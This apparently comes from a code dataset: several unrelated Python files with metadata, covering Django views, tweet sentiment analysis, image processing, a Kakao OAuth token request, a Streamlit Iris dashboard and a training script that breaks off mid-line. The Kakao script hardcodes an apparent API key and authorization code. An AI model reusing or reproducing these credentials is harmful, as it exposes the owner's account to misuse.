"usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 13, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 17, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 18, "usage_type": "call"}]} {"seq_id": "70521529853", "text": "#Import Libraries\nimport numpy as np\nimport pandas as pd\nimport nltk.corpus\nimport string\nimport re\nfrom textblob import TextBlob\n\nstop_words = nltk.corpus.stopwords.words('English')\n\n#Cleaning tweet\ndef text_process(tweet):\n tweet.lower()\n #Remove Urls\n tweet = re.sub(r\"http\\S+|www\\S+|https\\S+\", '', tweet, flags=re.MULTILINE)\n #Remove @ mentions\n tweet = re.sub(r'\\@\\w+|\\#','', tweet)\n #Remove Emojis\n emoji_pattern = re.compile(\n u\"(\\ud83d[\\ude00-\\ude4f])|\" # emoticons\n u\"(\\ud83c[\\udf00-\\uffff])|\" # symbols & pictographs (1 of 2)\n u\"(\\ud83d[\\u0000-\\uddff])|\" # symbols & pictographs (2 of 2)\n u\"(\\ud83d[\\ude80-\\udeff])|\" # transport & map symbols\n u\"(\\ud83c[\\udde0-\\uddff])\" # flags (iOS)\n \"+\", flags=re.UNICODE)\n emoji_pattern.sub(r'', tweet) # no emoji\n #Remove punctuation\n tweet = [char for char in tweet if char not in string.punctuation]\n tweet = ''.join(tweet)\n #Remove Stopwords\n tweet_tokens = nltk.word_tokenize(tweet)\n filtered_tweet = [tokens for tokens in tweet_tokens if tokens not in stop_words]\n filtered_tweet = ' '.join(filtered_tweet)\n return filtered_tweet\n\n#Analysing sentiment of a tweet\ndef get_tweet_sentiment(tweet): \n ''' \n Utility function to classify sentiment of passed tweet \n using textblob's sentiment method \n '''\n # create TextBlob object of passed tweet text \n analysis = TextBlob(text_process(tweet)) \n # set sentiment \n if analysis.sentiment.polarity > 0: \n return 'Positive Percentage: ' + str(analysis.sentiment.polarity * 100)\n elif analysis.sentiment.polarity == 0: \n return 'Neutral tweet'\n else: \n return 'Negative Percentage: ' + str(analysis.sentiment.polarity * 100)\n\n# Taking input from User\nuser_input = input(\"Enter your tweet to calculate its sentiment\")\n\nsentiment = get_tweet_sentiment(user_input)\ncleaned_tweet = text_process(user_input)\n\n#Printing its Sentiment along with cleaned_tweet\nprint(\"Your tweet:\",user_input,\"\\nCleaned Tweet:\",cleaned_tweet,\"\\nSentiment:\",sentiment)", "repo_name": "Zeph-T/RealTime-Twitter-Sentiment-Analysis", "sub_path": "Classes/text_to_sentiment.py", "file_name": "text_to_sentiment.py", "file_ext": "py", "file_size_in_byte": 2110, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "nltk.corpus.corpus.stopwords.words", "line_number": 9, "usage_type": "call"}, {"api_name": "nltk.corpus.corpus", "line_number": 9, "usage_type": "attribute"}, {"api_name": "nltk.corpus", "line_number": 9, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 15, "usage_type": "call"}, {"api_name": "re.MULTILINE", "line_number": 15, "usage_type": "attribute"}, {"api_name": "re.sub", "line_number": 17, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 19, "usage_type": "call"}, {"api_name": "re.UNICODE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "string.punctuation", "line_number": 28, "usage_type": "attribute"}, {"api_name": "nltk.corpus.word_tokenize", "line_number": 31, "usage_type": "call"}, {"api_name": "nltk.corpus", "line_number": 31, "usage_type": "name"}, {"api_name": "textblob.TextBlob", "line_number": 43, "usage_type": "call"}]} {"seq_id": "16913745303", "text": "\"\"\"\nabc295 D\n\"\"\"\nfrom collections import Counter\nfrom math import comb\n\nS = input()\n\nhistory = [0]\nfor c in S:\n history.append(history[-1] ^ (1 << int(c)))\n\nans = 0\nfor v in Counter(history).values():\n ans += comb(v, 2)\n\nprint(ans)\n", "repo_name": "shunya-fug/atcoder-python", "sub_path": "contest/abc295/d/main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 238, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "collections.Counter", "line_number": 14, "usage_type": "call"}, {"api_name": "math.comb", "line_number": 15, "usage_type": "call"}]} {"seq_id": "42377826269", "text": "import requests\r\n\r\nurl = 'https://kauth.kakao.com/oauth/token'\r\nrest_api_key = '8aa26b8b1770a6ab56db10f3dd0f3820'\r\nredirect_uri = 'https://example.com/oauth'\r\nauthorize_code = 'Y3-85uvSfQac2ZcSC935oWM2QPj8g9kyj9Ht1kQdZ8CWuNq8L-XZCJvkom1eOC0haWGk9Ao9dGkAAAF7uLfnuw'\r\n\r\ndata = {\r\n 'grant_type':'authorization_code',\r\n 'client_id':rest_api_key,\r\n 'redirect_uri':redirect_uri,\r\n 'code': authorize_code,\r\n }\r\n\r\nresponse = requests.post(url, data=data)\r\ntokens = response.json()\r\nprint(tokens)\r\n\r\n# json 저장\r\nimport json\r\nwith open(\"kakao_friends_code.json\",\"w\") as fp:\r\n json.dump(tokens, fp)", "repo_name": "Ottere/NoProof", "sub_path": "kakao/kakao_friends.py", "file_name": "kakao_friends.py", "file_ext": "py", "file_size_in_byte": 608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "requests.post", "line_number": 15, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 22, "usage_type": "call"}]} {"seq_id": "70471705532", "text": "from django.contrib.auth import login, authenticate, logout\nfrom django.shortcuts import render, redirect\nfrom .forms import AccountAuthenticationForm, RegistrationForm, ProfileForm\nfrom .models import Account, Profile\nfrom django.contrib.auth import get_user_model\nfrom django_email_verification import send_email\nfrom django.http import JsonResponse\nfrom django.core import serializers\n\ndef login_view(request):\n context = {}\n user = request.user\n if user.is_authenticated:\n return redirect(\"home\")\n\n if request.POST:\n form = AccountAuthenticationForm(request.POST)\n if form.is_valid():\n email = request.POST['email']\n password = request.POST['password']\n user = authenticate(email=email, password=password)\n\n if user:\n login(request, user)\n return redirect(\"home\")\n\n else:\n form = AccountAuthenticationForm()\n context['login_form'] = form\n\n return render(request, \"login.html\", context)\n\n\ndef registration_view(request):\n context = {}\n if request.POST and request.is_ajax:\n form = RegistrationForm(request.POST)\n profile_form = ProfileForm(request.POST)\n if form.is_valid():\n print(\"success\")\n user = form.save()\n profile = profile_form.save(commit=False)\n profile.user = user\n profile.save()\n send_email(user)\n # send to client side.\n return JsonResponse({\"instance\": \n \"An email has been sent to your registered email id please verify to activate your account\"}, \n status=200)\n else:\n # some form errors occured.\n return JsonResponse({\"error\": form.errors}, status=400)\n\n else:\n form = RegistrationForm()\n context['registration_form'] = form\n return render(request, 'register.html', context)\n\n\ndef logout_view(request):\n logout(request)\n return redirect('/')\n\n\ndef dashboard(request):\n context = {}\n user = request.user\n if user.is_authenticated:\n return render(request, \"dashboard.html\", context)\n", "repo_name": "aniketc20/Blog-and-Chat-Web-App", "sub_path": "Account/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 2178, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.shortcuts.redirect", "line_number": 14, "usage_type": "call"}, {"api_name": "forms.AccountAuthenticationForm", "line_number": 17, "usage_type": "call"}, {"api_name": "django.contrib.auth.authenticate", "line_number": 21, "usage_type": "call"}, {"api_name": "django.contrib.auth.login", "line_number": 24, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 25, "usage_type": "call"}, {"api_name": "forms.AccountAuthenticationForm", "line_number": 28, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 31, "usage_type": "call"}, {"api_name": "forms.RegistrationForm", "line_number": 37, "usage_type": "call"}, {"api_name": "forms.ProfileForm", "line_number": 38, "usage_type": "call"}, {"api_name": "django_email_verification.send_email", "line_number": 45, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 47, "usage_type": "call"}, {"api_name": "django.http.JsonResponse", "line_number": 52, "usage_type": "call"}, {"api_name": "forms.RegistrationForm", "line_number": 55, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 57, "usage_type": "call"}, {"api_name": "django.contrib.auth.logout", "line_number": 61, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 62, "usage_type": "call"}, {"api_name": "django.shortcuts.render", "line_number": 69, "usage_type": "call"}]} {"seq_id": "14156640775", "text": "import numpy as np\nimport cv2\nimport math\nfrom matplotlib import pyplot as plt\n\n\ndef create_histogram(img):\n hist = [0] * 256\n width, height = img.shape[:2]\n for row in range(width):\n for col in range(height):\n hist[img[row, col]] += 1\n\n return hist\n\n\ndef plot_histogram(hist, figure):\n plt.figure(figure)\n plt.plot(hist)\n plt.xlim([0, 255])\n\n\ndef linear_contrast_stretch(img):\n pmin = -1;\n pmax = -1;\n width, height = img.shape[:2]\n imgout = img.copy()\n\n hist = create_histogram(img)\n\n count = 0\n for gl in range(256):\n count+=hist[gl]\n if count >= height*width*0.01 and pmin<0:\n pmin = gl\n if count >= height*width*0.99 and pmax<0:\n pmax = gl\n\n for row in range(width):\n for col in range(height):\n pin = img[row,col]\n pout = (pin-pmin) * 255 / (pmax - pmin)\n if pout < 0:\n pout=0\n if pout > 255:\n pout=255\n imgout[row,col]=pout\n\n return imgout\n\n\ndef gamma_correction(img, r):\n width, height = img.shape[:2]\n imgout = img.copy()\n\n for row in range(width):\n for col in range(height):\n pin = img[row, col]\n pout = pow(255,1-r)*pow(pin, r)\n if pout < 0:\n pout = 0\n if pout > 255:\n pout = 255\n imgout[row,col] = pout\n\n return imgout\n\n\ndef equalization(img):\n width, height = img.shape[:2]\n imgout = img.copy()\n histogram = create_histogram(img)\n\n px = [0] * 256\n sumpx = [0] * 256\n\n for i in range(256):\n hi = histogram[i];\n px[i]= hi / (width * height);\n\n for k in range(i):\n sumpx[i] += px[k];\n\n for row in range(width):\n for col in range(height):\n pin = img[row,col]\n pout = 255 * sumpx[pin];\n if pout < 0:\n pout=0\n if pout > 255:\n pout = 255\n\n imgout[row,col] = pout\n return imgout\n\n\ndef convolution(img, kernel, k):\n width, height = img.shape[:2]\n imgout = img.copy()\n\n for row in range(width-k):\n for col in range(height-k):\n pout = 0\n # kerneling\n for me in range(k+1):\n m = me-k\n for ne in range(k+1):\n n = ne-k\n pout += img[row-m, col-n]*kernel[me][ne]\n # saturation\n if pout < 0:\n pout = 0\n if pout > 255:\n pout = 255\n\n imgout[row, col] = pout\n\n #imgout_enha = gamma_correction(imgout,0.6)\n return imgout\n\n\ndef angle_between(p1, p2):\n return math.degrees(math.atan2(p2[1]-p1[1], p2[0]-p1[0]))\n\n\ndef show(img,imge):\n cv2.imshow(\"Original\", img)\n cv2.imshow(\"Enhanced\", imge)\n cv2.waitKey(0)\n hist = cv2.calcHist([img], [0], None, [256], [0, 256])\n plot_histogram(hist, 1)\n hist = cv2.calcHist([imge], [0], None, [256], [0, 256])\n plot_histogram(hist, 2)\n plt.show()\n\n\ndef rotate_bound(image, angle):\n # grab the dimensions of the image and then determine the\n # center\n (w, h) = image.shape[:2]\n (cX, cY) = (w // 2, h // 2)\n\n # grab the rotation matrix (applying the negative of the\n # angle to rotate clockwise), then grab the sine and cosine\n # (i.e., the rotation components of the matrix)\n M = cv2.getRotationMatrix2D((cX, cY), -angle, 1.0)\n\n # perform the actual rotation and return the image\n return cv2.warpAffine(image, M,(h, w))\n\ndef addMeasure(img1,img2):\n rows, cols, channels = img2.shape\n roi = img1[0:rows, 0:cols]\n\n # Now create a mask of logo and create its inverse mask also\n img2gray = cv2.cvtColor(img2, cv2.COLOR_BGR2GRAY)\n ret, mask = cv2.threshold(img2gray, 10, 255, cv2.THRESH_BINARY)\n mask_inv = cv2.bitwise_not(mask)\n\n # Now black-out the area of logo in ROI\n img1_bg = cv2.bitwise_and(roi, roi, mask=mask_inv)\n\n # Take only region of logo from logo image.\n img2_fg = cv2.bitwise_and(img2, img2, mask=mask)\n\n # Put logo in ROI and modify the main image\n dst = cv2.add(img1_bg, img2_fg)\n img1[0:rows, 0:cols] = dst\n return img1\n", "repo_name": "andraghetti/CVlabs", "sub_path": "functions.py", "file_name": "functions.py", "file_ext": "py", "file_size_in_byte": 4207, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "matplotlib.pyplot.figure", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 19, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 19, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlim", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "math.degrees", "line_number": 123, "usage_type": "call"}, {"api_name": "math.atan2", "line_number": 123, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 127, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 128, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 129, "usage_type": "call"}, {"api_name": "cv2.calcHist", "line_number": 130, "usage_type": "call"}, {"api_name": "cv2.calcHist", "line_number": 132, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 134, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 134, "usage_type": "name"}, {"api_name": "cv2.getRotationMatrix2D", "line_number": 146, "usage_type": "call"}, {"api_name": "cv2.warpAffine", "line_number": 149, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 156, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2GRAY", "line_number": 156, "usage_type": "attribute"}, {"api_name": "cv2.threshold", "line_number": 157, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 157, "usage_type": "attribute"}, {"api_name": "cv2.bitwise_not", "line_number": 158, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 161, "usage_type": "call"}, {"api_name": "cv2.bitwise_and", "line_number": 164, "usage_type": "call"}, {"api_name": "cv2.add", "line_number": 167, "usage_type": "call"}]} {"seq_id": "29985658008", "text": "# Append and Delete\nfrom collections import Counter\n\ndef appendAndDelete(s,t,k):\n if (s==t and k%2==0):\n return \"Yes\" \n if (s==t and (2*len(s))<=k):\n return \"Yes\"\n dictS=Counter(s)\n append=0\n delete=0\n for i in t:\n if i in dictS and dictS[i]>0:\n dictS[i]-=1\n else:\n append+=1\n for i in dictS:\n delete+=dictS[i]\n sumofOp=delete+append\n if sumofOp>k:\n return \"No\"\n elif sumofOp==k:\n return \"Yes\"\n else:\n diff=k-sumofOp\n if diff%2==0:\n return \"Yes\"\n else:\n return \"No\"\n\n\n\n\n\n\ndef appendAndDelete2(s,t,k):\n ls=len(s)\n lt=len(t)\n flag=0\n if k>=(ls+lt):\n return \"Yes\"\n if abs(ls-lt)>k:\n return \"No\"\n minlen=min(ls,lt)\n for i in range(minlen):\n if s[i]!=t[i]:\n flag=1\n break\n if flag==0:\n if (abs(ls-lt)%2!=0 and k%2!=0) or (abs(ls-lt)%2==0 and k%2==0):\n return \"Yes\"\n else:\n return \"No\"\n else:\n newS=s[i:]\n newT=t[i:]\n lsn=len(newS)\n ltn=len(newT)\n if ((lsn+ltn)<=k and abs(lsn-ltn)%2!=0 and k%2!=0) or ((lsn+ltn)<=k and abs(lsn-ltn)%2==0 and k%2==0):\n return \"Yes\"\n else:\n return \"No\"\n\n\n\ns=input(\"Enter the s string: \")\nt=input(\"Enter the t string: \")\nk=int(input(\"Enter the K value: \"))\nprint(appendAndDelete2(s,t,k))\n\n\n", "repo_name": "Amaan5033/Hacker-Rank", "sub_path": "HackerRankEasy/AppendAndDeleteHackerRank.py", "file_name": "AppendAndDeleteHackerRank.py", "file_ext": "py", "file_size_in_byte": 1432, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.Counter", "line_number": 9, "usage_type": "call"}]} {"seq_id": "16213226469", "text": "import streamlit as st\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nimport seaborn as sns\nfrom scipy.stats import pearsonr\nfrom sklearn import linear_model, metrics\nfrom sklearn.metrics import r2_score\nfrom scipy import stats\n\n\nst.set_page_config(layout=\"wide\")\nst.title('Analysis of Iris dataset - A case study for Streamlit')\ndf = px.data.iris()\n\n\nst.markdown('***Iris dataframe***')\nst.write(df)\n\nst.subheader('Statistics for numeric variables')\ncolumns = df.select_dtypes(include='number').columns\ncolumn = st.selectbox('Select numerical variable to explore column statistics', options=columns)\ncolumn = df[column]\n\n# To render metrics\ncol1, col2, col3, col4, col5 = st.columns(5)\ncol1.metric(\"Mean\", column.mean())\ncol2.metric(\"Max\", column.max())\ncol3.metric(\"Min\", column.min())\ncol4.metric(\"Std\", column.std())\ncol5.metric(\"Count\", int(column.count()))\n\nst.subheader('Statistics for categorical variables')\n\nnon_num_cols = df.select_dtypes(include=object).columns\ncolumn = st.selectbox(\"Select categorical variable for analysis\", non_num_cols)\ncolumn = df[column]\nst.markdown('***Unique counts for each species category***')\nunique_values = column.value_counts()\nst.write(unique_values)\n\n\n# Data visualisation\nst.header('Visualising relationship between numeric variables')\nst.subheader('Pairplot analysis')\ng = sns.pairplot(df, vars = [\"sepal_length\", \"sepal_width\", \"petal_length\", \"petal_width\"], dropna = True, hue = 'species', diag_kind=\"kde\")\ng.map_lower(sns.regplot)\nst.pyplot(g)\n\nst.subheader('Scatterplot analysis')\nselected_x_var = st.selectbox('What do you want the x variable to be?', df.columns)\nselected_y_var = st.selectbox('What about the y?', df.columns)\nfig = px.scatter(df, x = df[selected_x_var], y = df[selected_y_var], color=\"species\")\nst.plotly_chart(fig)\n\n#Correlation calculations (Pearson)\nst.subheader(\"Pearson Correlation\")\ndef calc_corr(selected_x_var, selected_y_var):\n corr, p_val = stats.pearsonr(selected_x_var, selected_y_var)\n return corr, p_val\n\nx = df[selected_x_var].to_numpy()\ny = df[selected_y_var].to_numpy()\n\ncorrelation, corr_p_val = calc_corr(x, y)\nst.write('Pearson correlation coefficient: %.3f' % correlation)\nst.write('p value: %.3f' % corr_p_val)\n\n#Correlation calculations (Spearman)\nst.subheader(\"Spearman Correlation\")\ndef calc_corr(selected_x_var, selected_y_var):\n corr, p_val = stats.spearmanr(selected_x_var, selected_y_var)\n return corr, p_val\n\nx = df[selected_x_var].to_numpy()\ny = df[selected_y_var].to_numpy()\n\ncorrelation, corr_p_val = calc_corr(x, y)\nst.write('Spearman correlation coefficient: %.3f' % correlation)\nst.write('p value: %.3f' % corr_p_val)\n", "repo_name": "kuanrongchan/iris_dataset", "sub_path": "iris.py", "file_name": "iris.py", "file_ext": "py", "file_size_in_byte": 2659, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "streamlit.set_page_config", "line_number": 12, "usage_type": "call"}, {"api_name": "streamlit.title", "line_number": 13, "usage_type": "call"}, {"api_name": "plotly.express.data.iris", "line_number": 14, "usage_type": "call"}, {"api_name": "plotly.express.data", "line_number": 14, "usage_type": "attribute"}, {"api_name": "plotly.express", "line_number": 14, "usage_type": "name"}, {"api_name": "streamlit.markdown", "line_number": 17, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 18, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 20, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 22, "usage_type": "call"}, {"api_name": "streamlit.columns", "line_number": 26, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 33, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 36, "usage_type": "call"}, {"api_name": "streamlit.markdown", "line_number": 38, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 40, "usage_type": "call"}, {"api_name": "streamlit.header", "line_number": 44, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 45, "usage_type": "call"}, {"api_name": "seaborn.pairplot", "line_number": 46, "usage_type": "call"}, {"api_name": "seaborn.regplot", "line_number": 47, "usage_type": "attribute"}, {"api_name": "streamlit.pyplot", "line_number": 48, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 50, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 51, "usage_type": "call"}, {"api_name": "streamlit.selectbox", "line_number": 52, "usage_type": "call"}, {"api_name": "plotly.express.scatter", "line_number": 53, "usage_type": "call"}, {"api_name": "plotly.express", "line_number": 53, "usage_type": "name"}, {"api_name": "streamlit.plotly_chart", "line_number": 54, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 57, "usage_type": "call"}, {"api_name": "scipy.stats.pearsonr", "line_number": 59, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 59, "usage_type": "name"}, {"api_name": "streamlit.write", "line_number": 66, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 67, "usage_type": "call"}, {"api_name": "streamlit.subheader", "line_number": 70, "usage_type": "call"}, {"api_name": "scipy.stats.spearmanr", "line_number": 72, "usage_type": "call"}, {"api_name": "scipy.stats", "line_number": 72, "usage_type": "name"}, {"api_name": "streamlit.write", "line_number": 79, "usage_type": "call"}, {"api_name": "streamlit.write", "line_number": 80, "usage_type": "call"}]} {"seq_id": "29467841010", "text": "from net import filehandler\nfrom utils import color\nimport os\n\nclass Protocol:\n\n def __init__(self, client, unionpath):\n self.client = client\n self.unionpath = unionpath\n self.filehandler = filehandler.Filehandler(self.unionpath, self.client)\n\n def get_mount_from_client(self, dirhash, name, empty):\n contents = []\n dirpath = os.path.join(self.unionpath.filesystem_root_dir, dirhash)\n os.mkdir(dirpath)\n if empty == \"True\":\n self.client.send(\"DONE\")\n else:\n self.client.send(\"GIVE\")\n while (True):\n message = self.client.get()\n print(color.cyan(message))\n if message == \"DONE\":\n break\n contents.append(message.split()[1])\n self.filehandler.get_file(message, dir=dirhash)\n mount = {dirhash:{\"name\":name, \"owner\":self.client.hash, \"content\":contents}}\n self.unionpath.edit_mountlist(op=\"add\", mount=mount)\n\n def send_mount_to_client(self, name):\n mounts = self.unionpath.get_mounts_by_name(name)\n if len(mounts) == 0:\n self.client.send(\"NONE\")\n elif len(mounts) == 1:\n self.client.send(\"ONE\")\n ok = self.client.get()\n if ok == \"OK\":\n self.client.send(\"MOUNT {}\".format(mounts[0]))\n give = self.client.get()\n if give == \"GIVE\":\n self.filehandler.send_all_files_of_dir(os.path.join(self.unionpath.filesystem_root_dir, mounts[0]))\n self.client.send(\"DONE\")\n else:\n str = \"\"\n for mount in mounts:\n str += mount+\".\"\n self.client.send(\"MORE\")\n answer = self.client.get()\n if answer == \"OK\":\n self.client.send(str[:-1])\n choice = self.client.get()\n self.client.send(\"MOUNT {}\".format(mounts[int(choice)]))\n give = self.client.get()\n if give == \"GIVE\":\n self.filehandler.send_all_files_of_dir(os.path.join(self.unionpath.filesystem_root_dir, mounts[0]))\n self.client.send(\"DONE\")\n\n def handle(self, message):\n cmd = message.split()\n if cmd[0] == \"CON\":\n self.unionpath.edit_clientlist(\"add\", hash=cmd[1], name=cmd[2])\n self.client.hash = cmd[1]\n self.client.username = cmd[2]\n print(\"{} ({}) has connected to the server\".format(self.client.username, self.client.hash))\n return \"CON\"\n elif cmd[0] == \"UPD\":\n self.unionpath.edit_dictionary(op=\"timestamp\", hash=cmd[1], timestamp=cmd[2])\n print(\"Item {} has been updated -> {}\".format(cmd[1], cmd[2]))\n return \"UPD\"\n elif cmd[0] == \"FILE\":\n self.filehandler.get_file(message)\n elif cmd[0] == \"MNT-U\":\n self.get_mount_from_client(cmd[1], cmd[2], cmd[3])\n elif cmd[0] == \"MNT-D\":\n self.send_mount_to_client(cmd[1])\n\n", "repo_name": "cn-uofbasel/BACnet", "sub_path": "20-hs-redez-sem/groups/02-unionDir/filesystem-redez-server/net/protocol.py", "file_name": "protocol.py", "file_ext": "py", "file_size_in_byte": 3045, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 7, "dataset": "github-code", "pt": "78", "api": [{"api_name": "net.filehandler.Filehandler", "line_number": 10, "usage_type": "call"}, {"api_name": "net.filehandler", "line_number": 10, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 15, "usage_type": "call"}, {"api_name": "utils.color.cyan", "line_number": 22, "usage_type": "call"}, {"api_name": "utils.color", "line_number": 22, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}]} {"seq_id": "33284200636", "text": "import sys\nimport os\nsys.path.append(os.path.join(os.path.dirname(__file__), '..'))\nfrom trainer import Trainer\nimport utils\nimport time\ntrainer = None\n\nimport torch\nimport argparse\nimport torch.backends.cudnn as cudnn\nimport torch.multiprocessing as mp\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torch.utils.data.distributed\nfrom torchvision import datasets, transforms, models\nimport os\nimport math\nfrom tqdm import tqdm\n\n# Training settings\nparser = argparse.ArgumentParser(description='PyTorch ImageNet Example',\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('--train-dir', default=os.path.expanduser('~/imagenet/train'),\n help='path to training data')\nparser.add_argument('--fp16-allreduce', action='store_true', default=False,\n help='use fp16 compression during allreduce')\nparser.add_argument('--batches-per-allreduce', type=int, default=1,\n help='number of batches processed locally before '\n 'executing allreduce across workers; it multiplies '\n 'total batch size.')\nparser.add_argument('--use-adasum', action='store_true', default=False,\n help='use adasum algorithm to do reduction')\nparser.add_argument('--gradient-predivide-factor', type=float, default=1.0,\n help='apply gradient predivide factor in optimizer (default: 1.0)')\n\n# Default settings from https://arxiv.org/abs/1706.02677.\nparser.add_argument('--batch-size', type=int, default=32,\n help='input batch size for training')\nparser.add_argument('--epochs', type=int, default=90,\n help='number of epochs to train')\nparser.add_argument('--base-lr', type=float, default=0.0125,\n help='learning rate for a single GPU')\nparser.add_argument('--warmup-epochs', type=float, default=0,\n help='number of warmup epochs')\nparser.add_argument('--momentum', type=float, default=0.9,\n help='SGD momentum')\nparser.add_argument('--wd', type=float, default=0.00005,\n help='weight decay')\n\nparser.add_argument('--no-cuda', action='store_true', default=False,\n help='disables CUDA training')\nparser.add_argument('--seed', type=int, default=42,\n help='random seed')\nparser.add_argument('--model', type=str, default='resnet50',\n help='model to benchmark')\nparser.add_argument('--iterations', type=int, default=1000000,\n help='number of iterations to train')\nparser.add_argument('--scheduler_ip', type=str, required=True)\nparser.add_argument('--scheduler_port', type=int, default=6889)\nparser.add_argument('--trainer_port', type=int)\nparser.add_argument('--job_id', type=int, default=-1)\n\n\ndef train(epoch):\n model.train()\n\n last_timestamp = time.time()\n\n with tqdm(total=min(len(train_loader), args.iterations),\n desc='Train Epoch #{}'.format(epoch + 1),\n disable=not verbose) as t:\n for batch_idx, (data, target) in enumerate(train_loader):\n if args.iterations <= 0:\n torch.cuda.synchronize()\n break\n else:\n args.iterations -= 1\n \n adjust_learning_rate(epoch, batch_idx)\n\n if args.cuda:\n data, target = data.cuda(), target.cuda()\n optimizer.zero_grad()\n data_batch = data\n target_batch = target\n output = model(data_batch)\n loss = F.cross_entropy(output, target_batch)\n loss.backward()\n optimizer.step()\n t.update(1)\n\n timestamp = time.time()\n trainer.record(timestamp - last_timestamp)\n last_timestamp = timestamp\n\n\n\n# Horovod: using `lr = base_lr * hvd.size()` from the very beginning leads to worse final\n# accuracy. Scale the learning rate `lr = base_lr` ---> `lr = base_lr * hvd.size()` during\n# the first five epochs. See https://arxiv.org/abs/1706.02677 for details.\n# After the warmup reduce learning rate by 10 on the 30th, 60th and 80th epochs.\ndef adjust_learning_rate(epoch, batch_idx):\n if epoch < args.warmup_epochs:\n epoch += float(batch_idx + 1) / len(train_loader)\n lr_adj = 1. / 1 * (epoch * (1 - 1) / args.warmup_epochs + 1)\n elif epoch < 30:\n lr_adj = 1.\n elif epoch < 60:\n lr_adj = 1e-1\n elif epoch < 80:\n lr_adj = 1e-2\n else:\n lr_adj = 1e-3\n for param_group in optimizer.param_groups:\n param_group['lr'] = args.base_lr * 1 * args.batches_per_allreduce * lr_adj\n\n\ndef accuracy(output, target):\n # get the index of the max log-probability\n pred = output.max(1, keepdim=True)[1]\n return pred.eq(target.view_as(pred)).cpu().float().mean()\n\n\n# Horovod: average metrics from distributed training.\nclass Metric(object):\n def __init__(self, name):\n self.name = name\n self.sum = torch.tensor(0.)\n self.n = torch.tensor(0.)\n\n def update(self, val):\n self.sum += val.detach().cpu()\n self.n += 1\n\n @property\n def avg(self):\n return self.sum / self.n\n\n\nif __name__ == '__main__':\n args = parser.parse_args()\n\n args.cuda = not args.no_cuda and torch.cuda.is_available()\n\n allreduce_batch_size = args.batch_size * args.batches_per_allreduce\n\n torch.manual_seed(args.seed)\n\n if args.cuda:\n torch.cuda.manual_seed(args.seed)\n\n cudnn.benchmark = True\n\n resume_from_epoch = 0\n\n verbose = 1\n\n log_writer = None\n\n kwargs = {'num_workers': 4, 'pin_memory': True, 'drop_last': True} if args.cuda else {}\n # When supported, use 'forkserver' to spawn dataloader workers instead of 'fork' to prevent\n # issues with Infiniband implementations that are not fork-safe\n if (kwargs.get('num_workers', 0) > 0 and hasattr(mp, '_supports_context') and\n 